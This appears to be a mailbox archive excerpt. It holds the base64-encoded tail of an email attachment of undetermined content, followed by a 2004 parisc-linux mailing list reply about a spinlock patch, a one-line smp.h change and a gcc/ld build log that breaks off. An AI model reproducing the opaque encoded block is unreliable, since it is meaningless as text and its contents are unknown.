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


------=_NextPart_000_0002_000078CD.0000722D--



--1232A4E50F.1079680845/hmljs.rzs-hm.si--


From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Spinlock patch, take 2
Date: Fri, 19 Mar 2004 15:30:43 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <40561EAF000035FA@ocpmta1.freegates.net>
References: <20040315063318.GC2384@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623285 7055 80.91.229.3 (22 Nov 2014 02:28:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:05 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>, parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Fri Mar 19 07:30:47 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 782B848B2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Mar 2004 07:30:47 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B4L1H-0006kl-00; Fri, 19 Mar 2004 15:30:43 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 19 Mar 2004 15:30:43 +0100
In-Reply-To: <20040315063318.GC2384@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Mar 2004 14:30:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21134


> 
> Here's another version of my spinlock patch against 2.6.4. It optimizes
>spinlocks used for atomic operations by putting the atomic locks into a
>special section that is guaranteed to be 16-byte aligned, so no runtime
>alignment is needed. Build-tested against 2.6.4. Comments?
>
Ongoing to try to apply it against 2.6.[45] and encounter very early a pb
which seems to be solved by following patch:
--- include/asm-parisc/smp.h.orig	2004-01-28 08:24:41.000000000 +0100
+++ include/asm-parisc/smp.h	2004-03-19 11:34:04.078456992 +0100
@@ -54,7 +54,7 @@
 #define smp_processor_id()	(current_thread_info()->cpu)
 #define cpu_online(cpu) cpu_isset(cpu, cpu_online_map)
 
-#define cpu_possible_map	cpu_present_map
+#define cpu_possible_map	cpu_present_mask
 
 #endif /* CONFIG_SMP */
=========><=========

Is it correct?

But using c3k config and adding smp support to 2.6.5-rc1, I encounter this
ld pb:
  gcc -Wp,-MD,drivers/usb/core/.devices.o.d -nostdinc -iwithprefix include
-D__KERNEL__ -Iinclude  -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes
-Wno-trigraphs -fno-strict-aliasing -fno-common -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000 -O2 -fomit-frame-pointer
    -DKBUILD_BASENAME=devices -DKBUILD_MODNAME=usbcore -c -o drivers/usb/core/devices.o
drivers/usb/core/devices.c
  ld   -r -o drivers/usb/core/usbcore.o drivers/usb/core/usb.o drivers/usb/core/hub.o
